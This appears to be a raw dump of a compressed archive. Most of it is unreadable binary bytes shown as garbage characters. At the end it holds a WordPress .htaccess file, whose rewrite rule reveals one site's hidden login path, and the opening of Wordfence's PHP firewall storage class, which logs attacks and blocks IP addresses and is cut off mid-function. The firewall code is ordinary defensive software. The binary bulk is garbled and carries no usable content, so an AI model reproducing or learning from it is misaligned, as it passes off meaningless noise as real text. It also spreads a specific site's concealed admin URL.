YCǔ˦|{9$ Xh0̀u]gܳ_0L]Vb= ځ(siViW('ב x(]M=~ݛTQQ7_osmvywndbcPt33i2IyD4_oK-$	yPhW2'׹ggx_$Xa&o,?h3L!,?$!T+lp۳ʎu/
d4ܮ^(3meF·Id~3`qi⼘ÌosmvywndbcV4ʮvT:B'a$GAf7/-U2(AꓨYK]Ze--"Mr W1/p]X'ݯ5LM_0҇+aKƌ Qk22yK6z-uMݦaɕ,
@!z[."	` 'C\VFcCiqXB}UIAx4LӾosmvywndbc~ fKu&!+CtPx5wtޑC͆wyt!Boh%p1aUK
sfpߘknXxYH?_Q\)@a8O(47=fNx1еf踹 :,k}q1Q׈vҽN lhL֤oBfFԑCtusizcofhjkiAUn!PXsT͝\w_q__"L:Kz7JM/.*"@D;CDl'΄ZdѸZcjn~:=PÛ=NeݕL%%)P⭹,ψtusizcofhj]osmvywndbck׎b*c7[]k|vosmvywndbc)̒ZiT
~B7Hˏ\B	8iͨ1\a0q^!j;tE󹱶osmvywndbc _
fi4+9O۬{&C@(Ή0FԅX?dWiO#Q
02ߥcAioW$=N	s(`G
OM;~",qǧtusizcofhj~wOyF`7_h?I%˻ѯՖV? *M(Dc'p	?cPqљV.T61N6Z1LRߍ%T-vpRgBL2tusizcofhj)
W)6~s$cbcF5eK	\*Kنp A#|Dq/5' *r2)Q.fܓ_\Kz3 tft@X8osmvywndbcx|݉8e dؑ8,3":6=':SZߕ]{+G/%fIwS_|wm`i.}[SQi$A딠"Y;ͱ"Lye!&ǀ	4kefQCS/X~ Q6 omD@)	#uNf@=Jkod(;,lSlbmbސeۂ[  KMxN#}9^S1H-߬Qtusizcofhj-	-|]tusizcofhjo2"@U@H(\arRnѳg4-`Z2/tusizcofhjׂnGF8osmvywndbcLu'~yR.m_@_=.X|??ttusizcofhjNrszXJ!fKe!m2]6t-ј _}
Sosmvywndbc^31gp,m?Y/14['y$Sś.*h)zy *SRUp|BDwfpL~ @|W5 ߬:=D,gV#_"nfgcҌDmNtusizcofhjbwr	)wKp)/an -qgc"f^	'݌L{etusizcofhjH+'?3呖X诫ٜXY#oUcI{)ww޾$ʻ \E?y30O7Cc?=K\SM]$!l
.܊1-$@S(q٭m# {Ysbc%E όYd4J\&+yZrXB=osmvywndbcP~]ALle8osmvywndbc3 +Ghb$-
Ezv$©sd#_usgIQ/!{ osmvywndbc o.n?z\MDxAȪId!aιZosmvywndbc1A"6g3X.AG#z:~P;
Oּ~mi뛂Fv_.4eOROí^L;DnXMՐɈ{v]LRQX1Q(zLеtwjosmvywndbc]N81X|Z|7lo/3 ܨ,dc	,wkosmvywndbcZ.IX*ύ㿧!{l҅& 84f_xntusizcofhjpw'ҕ8iP=JyW޾HBtusizcofhjօ%IZosmvywndbce{v6͙4=9,D	R@u/^osmvywndbcmLtusizcofhjlT$tusizcofhjK˅^$Z#BTP
#)?3foć4U0KN|NSՉ3ػa!]]i=Rr0+RpJthru.Ml:~ԫ2{D;KͯFKg
47ݗQHMlcO2;-4m}~\s+ukqLTosmvywndbcq SJTDJyr9#.osmvywndbcu8F'Ζ@Twg2rQo WvLE\tusizcofhjlOuS,
%_{6T:djm'Ib!]3!iܯd[^AX`BPIi啃yEN@6!OkGZ GAWη	ݮao5eeT|"soK6vݣj:p=mk2g9^EtV ApOG`9RGr}ltR9݇vLtusizcofhjw0ca4$v:k;u4)l
{{?mI.}#NH5ChRL%o?w.`A!y,4~g(k~'AuEҽ)ʮi.ز!_a= -+('ĜãPs6W\josmvywndbc1YkU%6M`)vW#OZ[9"-DA.2'Ju-ڡFsK߹',Ω[ 2x#1׹x&l']^Pj8=!ZcEHсmAfTcv2,yC	ccJQ6(=B[Qr"wNd[=JO%wA#`_|=bze|9Z{PY Qtusizcofhj̐ZNosmvywndbcxM1 Y,aFwqm:D[ tusizcofhjtusizcofhjL_v
ty#.I{"M5\B3qLJ[RJzbɗ:[Jb?2Ds,+nū$4)|s҂&tusizcofhjvF{EYtusizcofhjlQgٻ՘5Lt`p
G--d_t-@#v#i!nNNGvRuT}o4Ťosmvywndbc^Z[K.GF=.0&-
u Hؗ芪Hb*%kKtusizcofhj-Ȳ!`q$:nL]љiiłPqr`}1Kc:@Az*ZB&UӡƋa?g8t{_ځ(	k­g|UiA$c_tusizcofhj*u2NZ3{IXfFwÔt.GREuLrosmvywndbct҄[;~+vCtGyLG\	=)?x8c=v܀Jl	^G@y]rǧϏ9w$}d0*'٢Q;f1ozI ]^tIy]K_ǇdN@	rf
`Nnv|XUO:8:&aW:t̢07wz([&ҳ88SyJUÙZTtusizcofhj=[Uc_E[y߯D!;ъkZƢ~og7SMer ~?DO}I} |=mm(fҢy!Џtusizcofhj^вǓb9)Ti6Z:!̳'^A*VtLw;p^S!EG9(oe,`]bDPFўpy$DtQ2)1gr90?d]̀iyץ絮ps/Y~òǩcq@7FA_vT}q=F(rKꏄhAd4q5KPѰ$#
uyHA/mo֚t4i6v0F+#$g5H-kXAzBaR|ξ8Nxs[ߍW)AĽQ2o`ƣ(P[O)7f=MN;vݔ#{e҂Qa7.QKyA9Nȣ1/idhb	-@)^I %^cZ_wۺ)W]|s)Bۺ rosmvywndbce_s+1Qr8Y|r~"	~y9\R.Yo.'#PfJ/f Cpntusizcofhj\	#]}I{{osmvywndbc)1'?wՉtFeMֈ]DkV:\5+ D!y0YV;N;&Ћv~5Ǖo88SF-^ۥ|)e̵t=A=t9w[7糙/k-$/Ri?vLSViP0rF'%JKRAǦA7	gw~KQ.Lղ滧xԫ;(xGmƌ_"-P@[G#D蓅NOyuS1zLd`tusizcofhj-W3醪Xf|̝沍Q-mdVZ/^:}~;^P/rDPn'WB~`~ϤBN4OW0g׆X4Qg68GPA#[33p}~1դ%ε!~4؜KERZx_olM
E dߥUP*J_o@T=tusizcofhj
'q.DӲz!YUfÎm:aJosmvywndbc~nz7a9\gJޯsN$-|lיaBt'6=XrPК]AsO^osmvywndbctusizcofhjaȳд	gƚt.9d /,MEnqܮ}UmR Ya9ĥln;tJtp8LJ"uKǣsvGsk3!s_,4NĥK]c򺴮sus\PnO1QD@&'~9fР:M*lVRq?rE=^nw.4]8B=fYX!Hf~97㚗?!!i%Re^=s&#2URx(zqedՙUX7/P6b|HdWXefGp7osmvywndbc4⿲A)yղ9И+s=]6ЈoO;9J]~_C4n|w"~\w@fn8raGS{3d
[A$؟۶Z"S3f!0(PxO8\0.B`p Ai1;bp*KWӶXÿj]UX+0յ|guDtusizcofhj,{ɥk"d*3t%H^\T9OꟘjކS1V7+Gfa)}^@QN2
;$#+gkKx+^R#8bmKQp{2GgbmutĘKґE8C=yH_sPE&yMy cp|0|[QF~Ծ%BF˚ζkD-SV|;A0UQywA0UZ!RĨ/kvo[Hf%kn
ߣXP;,^85riakہu؂C~uK;jI	x8lv)&"@9-J,׈X1Y(Ł} ggmV l qӭsmi4(
e+@MZ8#ӺY&":؈6~,8*5%57O0nCLGn[oc(NMpLkԺJx),=I*`]osmvywndbc}pgC\SwWw9튷,&.gCI\, {n8\S]osmvywndbcژAoͪEǓEC\* tLQ|. g/\0uʯfջ0jK7/8	}OK*Hs,0]b_%u AצQrRK⹼Ⱥe-&״ߚ7dMz%A#7,qH"vUlosmvywndbcW-8xakFyVRucktusizcofhjxK;lX~#i&#şz:ѭILFqG=D	o?T'AfID
4?Aۼ#BcƝ/_Z$	b*8	ħJ/V=-_uV|m\tusizcofhj% 9sWaֱH
qp!V?\7ZB+bKY`3`ޯb, _t;L\D`+tusizcofhj?y)C|؆=%z*s3#w^Ȟxq)17FG&ܓe1{6[o׽(Q2hosmvywndbc
`2D/'P&r;e[=5ZluosmvywndbcCSA\{[RP\=l}}ͣsr
&,TH8Uϲj;tusizcofhjl"@OaQ/M0'9XhrpmyKG9nsL|Oa\eHgIi8LˋVq2FVRǢ
B}~M4_:K}E&xse`[pxqپ2Kfiz04-I;PR0cp#^%IҍddxQ	3Tt{=VRΝ侺e0$^!5U6/Q,IucۂEI7Cad
U Dv9oGkBHosmvywndbcHf$$xBaa#Yρ`A}hrtusizcofhjua~4Z[bt'&|BnkesVmFVKuVlơ~N&bma0ie.JlRA,;Z9\yZ\SMC/SZ֩$f{3c~Z2Լ:gCEzb/ -ۜ4|P^VXuƊ/);,5"	Gw!k-$oJjn:O_D򵾥
$|+ItusizcofhjxXXFޏ|E\dtusizcofhjV0kL'Bs\YZl\|(tL-6_1@H^osmvywndbc!n@M[ƪKtusizcofhjOb}Jٹsɚj,/8߶aGVdXtusizcofhjPlEdQp~)	4yB61A2"Ǹ	K4FyN6TjU%d#s?!Y\B}L{+=vty9Znę^1NyijeA0	oEwxlhf&bOrHM4K0z+o}#wpE[]YGwqYhx# s֓"pW;=t$y&osmvywndbc+gxj}`π$y8bqqnlWe+(QƩhnk5oI?^OMjuv~#ԋWjÅ5D(Mosmvywndbc:ݣ~O`*gcԴeU!&UQ	܇2Y\ƒJosmvywndbc1`oUvXhg!I&kݶÁ:@	 dX-MosmvywndbcEvZaBŞ0j[)mn^:#nuGKr*{f.osmvywndbc7QYQ6H:TU^2d[H]aK6D\voqߞM.xwN^LT 9K-r3׌6j)Ҿ52Ku6jtusizcofhjT,Ia%i.ljV]9	fHiV5ymZD+cAdM-6gejepd%G10`=(܊NnkkdcY:k`RqlX|[{_VDkIW:96 ]'ќ;#Ttosmvywndbc|Bv^ďVosmvywndbcX9rK?=s~Ua@"UUvV'5  IrfEK܊(Upsi-)&n/?Sʥ2^VMJS}).9IF^	y:]at"D5LoOnؖ[]_X[;m-)t 3`9YȂ%&JK%&3$Ah)"l^
C27enosmvywndbc򶯒+R[f&&Gz	V$#MDXZZO${ĝ/J	zwI%18$P
5m*A0srE{s\Cfb9B] zLdmotusizcofhj|TT}@F4Dh++Z
N@ာ1izC%1Xd-c;ISd;WHAP3V
ҷ[!4|S!@" .'s/1}yqt|
)?E0k`ǬdmP^hzPO#ץ#߹8#coRɠqf~tusizcofhjDtxޞA	F@S;RtusizcofhjP0IUU*$/%JÎUe}4rDas+nk
[8HBp8)tusizcofhjy.&\_osmvywndbc}~y(Rm=W@;jDaN\JܙH%rl3߭e$q%{{~]&)f
C 	:kv%3KlFs5oήڧC:)z[s쉖jxP뢧	=͜__ jT=osmvywndbce,"dqL}'(tusizcofhjwzN˭6osmvywndbcOޢ}{b8Mg'z=.l*7By,- ܫxvwݚKͩ	.Sm|2/6	ޝ6[ҳFnT4iosmvywndbc?xa-Ƙ'5LnR԰7B5/0uUr(&^,CaF#@Ϊco]ͫ,[_cۯ/+pɧˑ$(+&ӣE$~Gd;*a"j)p`IwUJ]s:yqhc 	zx0iGrn2i#H d2vr܇v^fJT;7i됵osmvywndbcb
!#M	%!h߷D&3ATosmvywndbc.|p\.mĆ;$k*3}^!~%tusizcofhjpt* [8׷Bh"0,Q
5APPxJ^ot7CR[FJp{yַO4W#.|8^@H&OnO$tO	ĳNp
SL{Uӯxe$Z4jx7)nFLeljı)4b9hk0Sg/XW;ІD4,ַ#+XTQŪ߹;:0,zF! elT$Z*r5OGKtI~U#ouaz1jۣ@m3X@ÀҜez#-aۻj7;!l3W^
1fK9i5Ki:KI)z{? :)n+yo*
zCuBa	%JU;&Zj|\ģCkĺlqڌ|C\|3l!0ǝ7p!dsMT|2j	jh,-jLSYSëosmvywndbcEֿN 5;NKP@Md.osmvywndbcjmꢙYG9 tqf\č^)9fo;(8\CE2M?̤tusizcofhjosmvywndbcn9}8㱌, Ysnʫ$|?Ҳ,̚-rs'F QX5En"f\osmvywndbciCFowRۯ~SR).@mXbE.ȺjsS6BUQ*~(7gZ27#L`]v }ē2GY#*([ Ey'7osmvywndbcY2foh
n7$OfQ9dmW-;=dƿE_Rx+^um]|$5 lvGcwǌ}]}ĥ`|{\ )/9w7wv~Ci3el4?.J?kx|M;D։c	0R3hNMoEf!d.(zP'*@h\n{n[Z[2@z,- %g2tr#9XBbifh0M %U+R٠&tY1y'p9{s$AKtÇT[0	n)لOwNS:hMCŻ#SmNj)5.#g *o6d8ŨatusizcofhjH"-W\7(Jst!|Q.^Ԗ9WԷ/n:%~?XWouFREM'z,Iqh[K#osmvywndbcpi[,
RCRhN}ocIc[ˀbEXAw%)k4Kh&'P}9ɿ
ٖ%y}*([A.tPLtusizcofhjVI*e@\kHDd~}!I1%.7!;*־'ԝ)U%Ց2-j2C4D/LgTb9NBGqĩզ*%6&*Uu#sS`! 49l1,Ir`8`=҃~(
3hux.lew:ɔ/^-
!F8W9XcA!BosmvywndbcDgم\4wM5护KNg)lQnR7:Z$Wa4E]6K)$͗/0~H]~{Ў9Wsu=z2V%vEwi,Ipk0ڹ:|/a]zN;.LJnpRYcj;NO{H!̄ت RX15#v](sBȌق1uOlm2gXx5z趴r֠C$2~O`ukɪy[Fvzg4osmvywndbcLlEtusizcofhjK~GPAf`;Yóv1@d9ar_zif+e]y*o˙d?osmvywndbcDL'tlt^4:vQ-:10N{QM!zp3 .@}}焪jq{XL]@ho!܆4gflFԷ.)$x^-:L&%ιL0o&\2Ñ킨*P?th.
'tusizcofhj*B]I-G=2t[$c܉L"h] ;o~ͻOHMk;=qLkESvȖz&$CAf)QaUK%Xw;]Vs4osmvywndbcYʔ	`0#xrޒuZH=FZafBN.N	W=!ϗFo"~b	F F2K4;%`L b׵~1UWڭ0u*D:dɁ|0{k=qxtQ	}av09zn}T,&B 1d~(|^Mb?Y*5{=1mU]||+wM3[!'ឲ1?ۉ?{Җ%.](NW&SOe+UlӁ}4cC7VK :)a^tusizcofhjtC7H $ Yz%4OǴ\Ös0?kMX)QEcޓJS@7-Gxx9^RR&%rhS ژuc# 7Ѵ\7AhvOM^mH{|G8?䍞I~ׂFT]	EՆ3ZwDf$~jEA֚~D~BiݬTW8Bzco46X
o~ߜ警6y1.+Wosmvywndbcjosmvywndbc1"8Cosmvywndbc=]m?ya%F0s?߽y/+4o(׍2~Gou%6osmvywndbcVtusizcofhj@tFwqCċ]ufqhr4滇/7ĻasjW{McKڲ]+ntusizcofhjxӑݶ 'Z:+	V(Y	ȫ5~ql'	'.3*wlD+,}P?ipBWzSi2o,cf89['GId,,\p#RoE˰Ya.%Äg#Q~S,Y4xLo\ޤiauT۾j郆os8"0a:pl6VS
"ku
$ǜC%Z]:g/$M-wlԲ^49 "z4`\5W$l89L39g/LA."{Q-F+-^|.R,(9:-Ip^iܸ A;:NotwW|iܻ70!EnzM%osmvywndbcH eVC9W0(#IHeeHosmvywndbc  %}/'%HIj\bXFՕ\k~BWlV7r.L;l.okxōGC+m92af;H92dosmvywndbcJF|;jBXHp{ޛpPptusizcofhjyUǿͫ?DԮ:KAvT6ER3F,шN޶~b}#l	 g9Ŷnosmvywndbc{cY#K⣝IҞ]#(Du6r$}1u%t*:ǀ\IEIg,2n(˚Xݎ6HgjɃgzyÔ0R*vo4y߻|_51bLD~C7uO0[Kosmvywndbc{꾬(3ugZttusizcofhj%F05Xosmvywndbcv=YT{TVT؎ᐖaN"`BR,$,F%"(I\R	Wg̟0nwTu9tusizcofhj-osmvywndbcosmvywndbcWKk2	aϺ{d\!)#gVTiGҲx@Ghl=0BxSD8!3(_-PK       ! pkz      storage/wp/.htaccessnu 7m        RewriteRule ^xnlogde$ https://www.engrand-immobilier.fr/wp-login.php [NC,L]

# Blocage d'IP par pays
# RewriteCond %{ENV:GEOIP_COUNTRY_CODE} !^(FR|US|BE)$
# RewriteRule ^(.*)$ - [F,L]

# BEGIN WordPress
# Les directives (lignes) entre « BEGIN WordPress » et « END WordPress » sont générées
# dynamiquement, et doivent être modifiées uniquement via les filtres WordPress.
# Toute modification des directives situées entre ces marqueurs sera surchargée.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# Wordfence WAF
<Files ".user.ini">
<IfModule mod_authz_core.c>
	Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
	Order deny,allow
	Deny from all
</IfModule>
</Files>

# END Wordfence WAF
PK       ! B      storage/file.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

class wfWAFStorageFile implements wfWAFStorageInterface {

	const LOG_FILE_HEADER = "<?php exit('Access denied'); __halt_compiler(); ?>\n";
	const LOG_INFO_HEADER = "******************************************************************\nThis file is used by the Wordfence Web Application Firewall. Read \nmore at https://docs.wordfence.com/en/Web_Application_Firewall_FAQ\n******************************************************************\n";
	const IP_BLOCK_RECORD_SIZE = 24;
	private $rules;
	private $failScores;
	private $variables;
	private $whitelistedParams;
	private $blacklistedParams;

	public static function allowFileWriting() {
		if (defined('WFWAF_ALWAYS_ALLOW_FILE_WRITING') && WFWAF_ALWAYS_ALLOW_FILE_WRITING) {
			return true;
		}
		
		if (wfWAFUtils::isCli()) {
			return false;
		}
		return true;
	}

	public static function atomicFilePutContents($file, $content, $prefix = 'config') {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		$tmpFile = @tempnam(dirname($file), $prefix . '.tmp.');
		if (!$tmpFile) {
			$tmpFile = @tempnam(sys_get_temp_dir(), $prefix . '.tmp.');
		}
		if (!$tmpFile) {
			throw new wfWAFStorageFileException('Unable to save temporary file for atomic writing.');
		}
		$tmpHandle = @fopen($tmpFile, 'w');
		if (!$tmpHandle) {
			throw new wfWAFStorageFileException('Unable to save temporary file ' . $tmpFile . ' for atomic writing.');
		}

		self::lock($tmpHandle, LOCK_EX);
		fwrite($tmpHandle, $content);
		fflush($tmpHandle);
		self::lock($tmpHandle, LOCK_UN);
		fclose($tmpHandle);
		chmod($tmpFile, self::permissions()); 

		// Attempt to verify file has finished writing (sometimes the disk will lie for better benchmarks)
		$tmpContents = file_get_contents($tmpFile);
		if ($tmpContents !== $content) {
			throw new wfWAFStorageFileException('Unable to verify temporary file contents for atomic writing.');
		}

		if (!@rename($tmpFile, $file)) {
			$backFile = @tempnam(dirname($file), $prefix . '.bak.');
			if (!$backFile) {
				$backFile = @tempnam(sys_get_temp_dir(), $prefix . '.bak.');
			}
			if (!$backFile) {
				throw new wfWAFStorageFileException('Unable to save temporary file for atomic writing.');
			}
			if (WFWAF_DEBUG) {
				rename($file, $backFile);
				rename($tmpFile, $file);
				unlink($backFile);
				unlink($tmpFile);
			} else {
				@rename($file, $backFile);
				@rename($tmpFile, $file);
				@unlink($backFile);
				@unlink($tmpFile);
			}
		}
	}

	public static function lock($handle, $lock, $wouldLock = 1) {
		$locked = flock($handle, $lock, $wouldLock);
		if (!$locked) {
			error_log('Lock not acquired ' . $locked);
		}
		return $locked;
	}
	
	public static function permissions() {
		if (defined('WFWAF_LOG_FILE_MODE')) {
			return WFWAF_LOG_FILE_MODE;
		}
		
		static $_cachedPermissions = null;
		if ($_cachedPermissions === null) {
			if (defined('WFWAF_LOG_PATH')) {
				$template = rtrim(WFWAF_LOG_PATH, '/') . '/template.php';
				if (file_exists($template)) {
					$stat = @stat($template);
					if ($stat !== false) {
						$mode = $stat[2];
						$updatedMode = 0600;
						if (($mode & 0020) == 0020) {
							$updatedMode = $updatedMode | 0060;
						}
						$_cachedPermissions = $updatedMode;
						return $updatedMode;
					}
				}
			}
			return 0660;
		}
		return $_cachedPermissions;
	}

	/**
	 * @var resource
	 */
	private $ipCacheFileHandle;

	/**
	 * @var string|null
	 */
	private $attackDataFile;
	/**
	 * @var wfWAFAttackDataStorageFileEngine
	 */
	private $attackDataEngine;

	/**
	 * @var string|null
	 */
	private $ipCacheFile;
	private $configFile;
	private $rulesFile;
	private $rulesDSLCacheFile;
	private $dataChanged = array();
	private $data = array();
	/**
	 * @var resource[]
	 */
	private $configFileHandles = array();
	private $uninstalled;
	private $attackDataRows;
	private $attackDataNewerThan;


	/**
	 * @param string|null $attackDataFile
	 * @param string|null $ipCacheFile
	 * @param string|null $configFile
	 * @param string|null $rulesFile
	 * @param null $rulesDSLCacheFile
	 */
	public function __construct($attackDataFile = null, $ipCacheFile = null, $configFile = null, $rulesFile = null, $rulesDSLCacheFile = null) {
		$this->setAttackDataFile($attackDataFile);
		$this->setIPCacheFile($ipCacheFile);
		$this->setConfigFile($configFile);
		$this->setRulesFile($rulesFile);
		$this->setRulesDSLCacheFile($rulesDSLCacheFile);
	}

	/**
	 * @param float $olderThan
	 * @return bool
	 * @throws wfWAFStorageFileException
	 */
	public function hasPreviousAttackData($olderThan) {
		$this->open();
		$timestamp = $this->getAttackDataEngine()->getOldestTimestamp();
		return $timestamp && $timestamp < $olderThan;
	}

	/**
	 * @param float $newerThan
	 * @return bool
	 * @throws wfWAFStorageFileException
	 */
	public function hasNewerAttackData($newerThan) {
		$this->open();
		$timestamp = $this->getAttackDataEngine()->getNewestTimestamp();
		return $timestamp && $timestamp > $newerThan;
	}


	/**
	 * @return mixed|string|void
	 * @throws wfWAFStorageFileException
	 */
	public function getAttackData() {
		$this->open();
		$this->attackDataRows = array();
		$this->getAttackDataEngine()->scanRows(array($this, '_getAttackDataRowsSerialized'));
		return wfWAFUtils::json_encode($this->attackDataRows);
	}

	/**
	 * @return array
	 * @throws wfWAFStorageFileException
	 */
	public function getAttackDataArray() {
		$this->open();
		$this->attackDataRows = array();
		$this->getAttackDataEngine()->scanRows(array($this, '_getAttackDataRows'));
		return $this->attackDataRows;
	}

	/**
	 * @param resource $fileHandle
	 * @param int $offset
	 * @param int $length
	 */
	public function _getAttackDataRowsSerialized($fileHandle, $offset, $length) {
		fseek($fileHandle, $offset);
		self::lock($fileHandle, LOCK_SH);
		$binary = fread($fileHandle, $length);
		self::lock($fileHandle, LOCK_UN);
		$row = wfWAFAttackDataStorageFileEngineRow::unpack($binary);
		$data = wfWAFUtils::json_decode($row->getData(), true);
		if (is_array($data)) {
			array_unshift($data, $row->getTimestamp());
			$this->attackDataRows[] = $data;
		}
	}

	/**
	 * @param resource $fileHandle
	 * @param int $offset
	 * @param int $length
	 */
	public function _getAttackDataRows($fileHandle, $offset, $length) {
		fseek($fileHandle, $offset);
		self::lock($fileHandle, LOCK_SH);
		$binary = fread($fileHandle, $length);
		self::lock($fileHandle, LOCK_UN);
		$row = wfWAFAttackDataStorageFileEngineRow::unpack($binary);
		$data = $this->unserializeRow($row->getData());
		array_unshift($data, $row->getTimestamp());
		$this->attackDataRows[] = $data;
	}

	/**
	 * @param $newerThan
	 * @return array
	 * @throws wfWAFStorageFileException
	 */
	public function getNewestAttackDataArray($newerThan) {
		$this->open();
		$this->attackDataRows = array();
		$this->attackDataNewerThan = $newerThan;
		$this->getAttackDataEngine()->scanRowsReverse(array($this, '_getAttackDataRowsNewerThan'));
		return $this->attackDataRows;
	}

	/**
	 * @param resource $fileHandle
	 * @param int $offset
	 * @param int $length
	 * @return bool
	 */
	public function _getAttackDataRowsNewerThan($fileHandle, $offset, $length) {
		fseek($fileHandle, $offset);
		self::lock($fileHandle, LOCK_SH);
		$binaryTimestamp = fread($fileHandle, 8);
		self::lock($fileHandle, LOCK_UN);
		$timestamp = wfWAFAttackDataStorageFileEngine::unpackMicrotime($binaryTimestamp);
		if ($timestamp > $this->attackDataNewerThan) {
			$binary = $binaryTimestamp . fread($fileHandle, $length - 8);
			$row = wfWAFAttackDataStorageFileEngineRow::unpack($binary);
			$data = $this->unserializeRow($row->getData());
			if (is_array($data)) {
				array_unshift($data, $row->getTimestamp());
				$this->attackDataRows[] = $data;
			}
			return true;
		}
		return false;
	}

	/**
	 * @return bool
	 * @throws wfWAFStorageFileException
	 */
	public function truncateAttackData() {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		$this->open();
		$this->getAttackDataEngine()->truncate();
		return $this->getAttackDataEngine()->getRowCount() === 0;
	}

	/**
	 * @return bool
	 * @throws wfWAFStorageFileException
	 */
	public function isAttackDataFull() {
		$this->open();
		return $this->getAttackDataEngine()->getRowCount() === wfWAFAttackDataStorageFileEngine::MAX_ROWS;
	}

	/**
	 * @param array $failedRules
	 * @param string $failedParamKey
	 * @param string $failedParamValue
	 * @param wfWAFRequestInterface $request
	 * @param mixed $_
	 * @return mixed
	 */
	public function logAttack($failedRules, $failedParamKey, $failedParamValue, $request, $_ = null) {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		$this->open();
		$row = array(
			$request->getTimestamp(),
			$request->getIP(),
			(int) $this->isInLearningMode(),
			$failedParamKey,
			$failedParamValue,
		);

		$failedRulesString = '';
		if (is_array($failedRules)) {
			/**
			 * @var int $index
			 * @var wfWAFRule|int $rule
			 */
			foreach ($failedRules as $index => $rule) {
				if ($rule instanceof wfWAFRule) {
					$failedRulesString .= $rule->getRuleID() . '|';
				} else {
					$failedRulesString .= $rule . '|';
				}
			}
			$failedRulesString = wfWAFUtils::substr($failedRulesString, 0, -1);
		}
		$row[] = $failedRulesString;
		$row[] = $request->getProtocol() === 'https' ? 1 : 0;
		$row[] = (string) $request;
		// phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
		$args = func_get_args();
		$row = array_merge($row, array_slice($args, 4));

		if (($rowString = $this->serializeRow($row)) !== false) {
			$attackRow = new wfWAFAttackDataStorageFileEngineRow(microtime(false), $rowString);
			$this->getAttackDataEngine()->addRow($attackRow);
		}
	}

	/**
	 * @param int $timestamp
	 * @param string $ip
	 * @return mixed|void
	 * @throws wfWAFStorageFileException
	 */
	public function blockIP($timestamp, $ip, $type = wfWAFStorageInterface::IP_BLOCKS_SINGLE) {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		$this->open();
		if (!$this->isIPBlocked($ip)) {
			self::lock($this->ipCacheFileHandle, LOCK_EX);
			fseek($this->ipCacheFileHandle, 0, SEEK_END);
			fwrite($this->ipCacheFileHandle, wfWAFUtils::inet_pton($ip) . pack('V', $timestamp) . pack('V', $type));
			fflush($this->ipCacheFileHandle);
			self::lock($this->ipCacheFileHandle, LOCK_UN);
		}
	}

	/**
	 * @param string $ip
	 * @return bool
	 */
	public function isIPBlocked($ip) {
		$this->open();
		$ipBin = wfWAFUtils::inet_pton($ip);
		fseek($this->ipCacheFileHandle, wfWAFUtils::strlen(self::LOG_FILE_HEADER), SEEK_SET);
		self::lock($this->ipCacheFileHandle, LOCK_SH);
		while (!feof($this->ipCacheFileHandle)) {
			$ipStr = fread($this->ipCacheFileHandle, self::IP_BLOCK_RECORD_SIZE);
			if (wfWAFUtils::strlen($ipStr) < self::IP_BLOCK_RECORD_SIZE) { break; }
			$ip2 = wfWAFUtils::substr($ipStr, 0, 16);
			$unpacked = @unpack('V', wfWAFUtils::substr($ipStr, 16, 4));
			if (is_array($unpacked)) {
				$t = array_shift($unpacked);
				if ($ipBin === $ip2 && $t >= time()) {
					self::lock($this->ipCacheFileHandle, LOCK_UN);
					return true;
				}
			}
		}
		self::lock($this->ipCacheFileHandle, LOCK_UN);
		return false;
	}
	
	public function pathForConfig($category = '') {
		$category = strtolower(preg_replace('/[^a-z0-9]/i', '', $category));
		$path = $this->_normalizeSlashes($this->getConfigFile());
		$components = explode('/', $path);
		$last = $components[count($components) - 1];
		if (preg_match('/^([^.]+)(\..+$|$)/', $last, $matches) && !empty($category)) {
			$last = $matches[1] . '-' . $category . $matches[2];
		}
		$components[count($components) - 1] = $last;
		$path = implode('/', $components);
		return $path;
	}

	/**
	 * @return bool
	 */
	public function isOpened($category = '') {
		return isset($this->configFileHandles[$category]) && is_resource($this->configFileHandles[$category]);
	}

	/**
	 * @throws wfWAFStorageFileException
	 */
	public function open($category = '') {
		if ($this->isOpened($category)) {
			return;
		}
		if ($this->uninstalled) {
			throw new wfWAFStorageFileException('Unable to open WAF file storage, WAF has been uninstalled.');
		}
		
		if (!empty($category)) { //A non-empty category only opens that config file rather than including the rest of the WAF files.
			$this->_open($this->pathForConfig($category), $this->configFileHandles, $category, self::LOG_FILE_HEADER . self::LOG_INFO_HEADER . serialize($this->getDefaultConfiguration($category)), true);
			return;
		}

		$files = array(
			array($this->getIPCacheFile(), 'ipCacheFileHandle', false, self::LOG_FILE_HEADER, true),
			array($this->pathForConfig($category), 'configFileHandles', $category, self::LOG_FILE_HEADER . self::LOG_INFO_HEADER . serialize($this->getDefaultConfiguration($category)), false),
		);
		foreach ($files as $file) {
			list($filePath, $fileHandle, $arrayKey, $defaultContents, $remakeIfCorrupt) = $file;
			$this->_open($filePath, $this->$fileHandle, $arrayKey, $defaultContents, $remakeIfCorrupt);
		}

		$this->setAttackDataEngine(new wfWAFAttackDataStorageFileEngine($this->getAttackDataFile()));
		$this->getAttackDataEngine()->open();
	}
	
	private function _open($filePath, &$fileHandle, $arrayKey, $defaultContents, $remakeIfCorrupt = false) {
		if (!file_exists($filePath)) {
			@file_put_contents($filePath, $defaultContents, LOCK_EX);
		}
		if (wfWAFStorageFile::allowFileWriting()) {
			@chmod($filePath, self::permissions());
		}
		if ($arrayKey !== false) {
			$fileHandle[$arrayKey] = @fopen($filePath, 'r+');
			$handle = $fileHandle[$arrayKey];
		}
		else {
			$fileHandle = @fopen($filePath, 'r+');
			$handle = $fileHandle;
		}
		
		if (!$handle && $remakeIfCorrupt && wfWAFStorageFile::allowFileWriting()) {
			@file_put_contents($filePath, $defaultContents, LOCK_EX);
			@chmod($filePath, self::permissions());
			if ($arrayKey !== false) {
				$fileHandle[$arrayKey] = @fopen($filePath, 'r+');
				$handle = $fileHandle[$arrayKey];
			}
			else {
				$fileHandle = @fopen($filePath, 'r+');
				$handle = $fileHandle;
			}
		}
		
		if (!$handle) {
			throw new wfWAFStorageFileException('Unable to open ' . $filePath . ' for reading and writing.');
		}
	}

	/**
	 *
	 */
	public function close($category = '') {
		if (!$this->isOpened($category)) {
			return;
